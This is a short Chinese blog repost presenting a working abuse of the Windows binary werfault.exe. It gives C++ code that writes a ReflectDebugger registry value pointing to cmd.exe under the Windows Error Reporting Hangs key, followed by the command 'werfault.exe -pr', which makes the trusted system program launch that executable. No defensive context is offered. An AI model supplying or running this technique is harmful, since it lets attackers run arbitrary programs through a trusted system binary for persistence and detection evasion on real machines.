【系统白程序利用】werfault.exe

【系统白程序利用】werfault.exe#include"stdafx.h"#include<windows.h>int_tmain(intargc,_TCHAR*argv[]){//Getrootkeyhandle.HKEYhRoot=nullptr;LPCTSTRlpSubKey=L"Software\\Microsoft\\Windows\\Wi…

大家好,又见面了,我是你们的朋友全栈君。

#include "stdafx.h"
#include <windows.h>


int _tmain(int argc, _TCHAR* argv[])
{

    // Get root key handle.
    HKEY hRoot = nullptr;
    LPCTSTR lpSubKey = L"Software\\Microsoft\\Windows\\Windows Error Reporting";
    if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, lpSubKey, 0, KEY_ALL_ACCESS, &hRoot) != ERROR_SUCCESS)
    {
        wprintf(L"Open root key <%s> failed!\n", lpSubKey);
    }

    // Create subKey.
    HKEY hResult = nullptr;
    lpSubKey = L"Hangs";
    DWORD despostion = NULL;
    if (RegCreateKeyEx(hRoot, lpSubKey, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hResult, &despostion) != ERROR_SUCCESS)
    {
        wprintf(L"Create key <%s> failed!\n", lpSubKey);
    }
    else
    {
        if (despostion == REG_CREATED_NEW_KEY)
        {
            printf("Create new key successfuly!\n");
        }

        if (despostion == REG_OPENED_EXISTING_KEY)
        {
            printf("Opened new key successfuly!\n");
        }
    }



    // Set subkey value.
    LPCTSTR lpValueName = L"ReflectDebugger";
    LPCTSTR lpData = L"c:\\windows\\system32\\cmd.exe";
    if (RegSetValueEx(hResult, lpValueName, 0, REG_SZ, (const byte*)lpData, (_tcslen(lpData)+1) * sizeof(TCHAR)) != ERROR_SUCCESS)
    {
        printf("Set key value failed!\n");
        return 0;
    }
    else
    {
        printf("Reg Add Successfully!\n");
    }


    system("pause");
    return 0;
}

添加注册表成功后,调用werfault.exe -pr ,werfault会启动注册表中填写的可执行程序。

上面代码需要用管理员权限编译运行

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/149716.html原文链接:https://javaforall.net

(0)
全栈程序员-站长的头像全栈程序员-站长


相关推荐

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号